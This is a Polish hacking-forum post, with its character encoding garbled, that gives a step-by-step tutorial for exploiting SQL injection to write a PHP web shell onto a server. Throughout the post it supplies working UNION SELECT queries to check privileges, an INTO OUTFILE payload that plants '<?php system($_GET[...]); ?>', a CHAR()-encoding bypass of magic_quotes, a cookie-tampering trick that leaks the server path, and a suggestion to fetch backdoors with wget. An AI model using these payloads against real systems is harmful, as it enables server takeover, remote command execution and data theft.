Poka¿ wyniki od 1 do 1 z 1
  1. #1

    Domy¶lnie [Tutoral praktyczny] Jak zuploadowac plik na serwer przy pomocy b³êdów SQL Injection

    Tutek mojego autorstwa, proszê o przeniesienie do "tutoriale"
    Tutorial nie jest pisany dla ¿ó³todziobów musisz posiadaæ podstawow± wiedzê na temat PHP i jêzyka SQL.

    1.Musimy znale¼æ pe³n± ¶cie¿kê bie¿±cego u¿ytkownika.
    2.Musimy sprawdziæ, czy serwer ma "magiczne cudzys³owia".
    3.Skrypt musi wykonywaæ siê na koncie ROOTA.

    Na pocz±tku trzeba wyjasniæ kilka podsatwowych rzeczy. Po pierwsze musimy dowiedzieæ siê, czy nasz u¿ytkownik jest rootem (u¿ytkownik na którym dzia³a skrypt storny) mo¿na
    zrobiæ za pomoc± nastêpuj±cego zapytania:

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,user,6,7,8,9,10,11,12,13 from mysql.user—
    Jak ju¿ mówi³em art nie jest skierowany do ludzi zielonych mogê powiedzieæ tylko, ¿e polecenie union s³u¿y do tego by zamieniæ tabelki w bazie danych np, mamy taki uk³ad w bazie danych do którego skrypt siê odwo³uje przy logowaniu
    ID,USER,PASSWORD,MAIL,STATUS Polecenie union pozwala np zamieniæ nam "ID" z REKORDAMI O NAZWIE "PASSWORD". Wiêc je¶li mamy podatno¶æ w skrypcie np newsów które wy¶wietlaj± ID newsa dziêki temu po wykorzystaniu b³êdu bêdziemy mogli widzieæ np HASLO to tak w ramach przypomnienia bo ten tutorial nie dotyczy wy¶wietlania has³a tylko ³adowania pliku na serwer.

    Wiêc za³ó¿my teraz, ¿e po wykorzystaniu tego kodu okazuje siê, ¿e skrypt siedzi na koncie root,
    Teraz, gdy wiemy, ¿e to jest root, mo¿emy sprawdziæ swoje uprawnienia za pomoc± nastêpuj±cej "komendy" a raczej zapytania
    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,concat_ws(‘:’,user,file_priv),6,7,8,9,10,1 1,12,13—

    Je¶li wy¶wietli nam siê nazwa u¿ytkownika który jest rootem bêdzie wygl±da³o to tak:
    ktos/Y

    A je¶li jest rootem to bêdziemy mogli korzystaæ z INTO OUTFILE i za³adowaæ pow³okê (shella), teraz trzeba kontynuowaæ i zobaczyæ, czy mo¿emy znale¼æ pe³n± ¶cie¿kê by móc za³adowaæ pow³okê.
    S³ów pare o INTO OUTFILE pozwala to utworzyæ plik na serwerze z parametru URL mo¿emy podaæ zawarto¶æ tego pliku czyli w naszym wypadku skryptu shella.
    Jedynym warunkiem jest podanie pe³nej scie¿ki do pliku zaczynaj±c od katalogu domowego w systemie LINUX (zak³adamy ze storna stoi na linuxie) który nazywa siê HOME

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,”TUTAJ OSADZMY KOD ZAWARTOSCI PLIKU SHELL.php”,6,7,8,9,10,11,12,13 INTO OUTFILE /home/ktos/public_html/shell.php--

    /home/ nazwa katalogu domowego
    /ktos/ nazwa uzytkowniak
    /public_html/ tutaj le¿± wszystkie pliki na serwerze
    /shell.php nasz wygenerowany srkypt


    Wiêc umie¶æmy tam prosty kod który da nam przej±æ "w³adze nad systemem na stronie"

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4, “<?php system($_GET['komenda']); ?>”,6,7,8,9,10,11,12,13 INTO OUTFILE “/home/ktos/public_html/shell.php—

    Co nam do daje?
    $_GET['komenda'] - jest to jak wiadomo tablica która przechowuje jakie¶ dane z parametru URL
    funkcja system, jest to standardowa funkcja w PHP która pozwala z poziomu www sterowaæ pow³ok±.
    Po utworzeniu tego kodu w pliku shell.php pojawi siê ta zawarto¶æ
    <?php system($_GET['komenda']); ?>
    jak to wykorzystaæ?
    Skoro wiemy, ¿e plik shell.php jest ju¿ na serwerze musimy siê do niego odwo³aæ i wywo³aæ polecenie z parametru URL poprzez $_GET
    <?php system($_GET['komenda']); ?>
    Robimy to tak
    przykladowastorna.pl/shell.php?komenda=ls
    Co nam to da³o po znaku zapytania odwo³ujemy siê do tablicy o nazwie komenda do której wprowadza siê dane jakie ma wykonaæ funkcja system po znaku "=" wpisujemy tê komenda, w przyk³adzie u¿y³em "LS" jest to podstawow± komenda w systemach linuksowych którzy odpowiada w windowsie komendzie "dir" czyli wy¶wietlania listy plików w danym katalogu.
    W efekcie uzyska³em taki wynik:

    46 Dinitrol 7250 can 5l c.jpg
    plik.pdf
    plik2.pdf
    blednyskrypt.php
    shell.php
    index.php
    obrazki.jpg

    Czyli liste plików w poleceniu mo¿na wpisywaæ wszystko np mo¿na u¿yæ programu wget do sci±gniecia jakiego¶ oprogramowania backdoora itd.


    Ok nic nie powiedzia³em na temat tego jak uzyskaæ pe³na scie¿kê dostêpu o której pisa³em powy¿ej.
    Bêdziemy musieli skorzystaæ do tego z wtyczki która jest np do firefoxa o nazwie live http headers znajdziesz j± na google.
    S³u¿y ona do tego by przechwytywaæ zapytania HTTP czyli to co przesy³a siê do serwera w momencie ³adowania strony.
    Otwieramy live http headers i szukamy czego¶ takiego po od¶wie¿eniu strony
    PHPSESSID=32932930229303290
    albo
    Cookie:blablblablablabla

    Klikamy na które¶ z tych za pomoc± przycisku edit o ile dobrze pamiêtam, po czym wpisujemy tam warto¶c "0" nastêpnie naciskamy replay. Serwer prze³aduje skrypt i wy¶wietli b³±d ze wzglêdu na to, ¿e dosta³ nieprawid³owe dane i przy okazji wy¶wietli pe³n± scie¿kê do katalogu home/ktos/public_html ...
    Oczywi¶cie ta sztuczka nie zadzia³a zawsze bo zale¿ne jest to od konfiguracji serwera.

    Druga rzecz bardzo wa¿na o której nie wspomnia³em jest pewne zabezpieczenie w konfiguracji PHP nazywa siê Magic_Quotes je¶li ustawiona jest na tryb w³±czony na serwerze.
    To zacznie ona ucinaæ przychodz±ce dane od skryptu je¶li napotka znaki specjalne takie jak <,/,? i zamieni na \<\/\? w których umie¶cili¶my tagi zwi±zane z php. Wiêc skrypt nie zapisze siê na serwerze
    A robi±c shella w³a¶nie tak zrobili¶my wpisali¶my znaki specjalne tworz±c kod
    <?php system($_GET['komenda']); ?> w efekcie je¶li zak³adamy, ¿e serwer u¿ywa magic_quotes
    to w skrypcie zapisz siê <\?php system($_GET['komenda'\]); \?> co¶ takiego mniej wiêcej i skrypt siê nie wykona.
    Musimy uciec siê do pewnego podstêpu.
    Ka¿da przegl±darka internetowa oprócz czytania zwyk³ych znaków potrafii równie¿ odczytywaæ tablice znaków ASCII

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4, CHAR(60,63) “system($_GET[‘koemnda’]); “ CHAR(63,62),6,7,8,9,10,11,12,13 INTO OUTFILE “/home/ktos/public_html/shell.php--


    Polecenia CHAR rozkazuje przegl±darce przeczytanie tego co jest w nawiasach (63, 62)
    a jest tam ukryte w pierwszym nawiasie "<?" czyli kod rozpoczynaj±cy dzia³anie skryptu PHP a on zawiera znaki specjalne natomiast jest ukryty wiêc magic_quotes go nie wy³apie
    natomiast drugi nawias CHAR(63,62) zawiera ukryte "?>" czyli zamykanie kodu php
    i w efekcie skrypt utworzy siê poprawnie.
    Ostatnio edytowane przez gosciuuu ; 18-01-2014 o 00:48

Podobne w±tki

  1. Odpowiedzi: 2
    Ostatni post / autor: 16-11-2010, 01:06
  2. Jak Wstawiæ plik na swój serwer zeby sie sci±ga³??
    Przez maciekek
    w forum HTML, CSS, JavaScript
    Odpowiedzi: 1
    Ostatni post / autor: 04-03-2007, 12:03
  3. pomocy serwer
    Przez zbystura
    w forum Inne narzêdzia
    Odpowiedzi: 3
    Ostatni post / autor: 07-06-2005, 19:43
  4. Du¿o b³êdów przy starcie Linuxa
    Przez CyberKid007
    w forum Linux/BSD/Unix
    Odpowiedzi: 4
    Ostatni post / autor: 01-10-2003, 16:25

Uprawnienia

  • Nie mo¿esz zak³adaæ nowych tematów
  • Nie mo¿esz pisaæ wiadomo¶ci
  • Nie mo¿esz dodawaæ za³±czników
  • Nie mo¿esz edytowaæ swoich postów
  •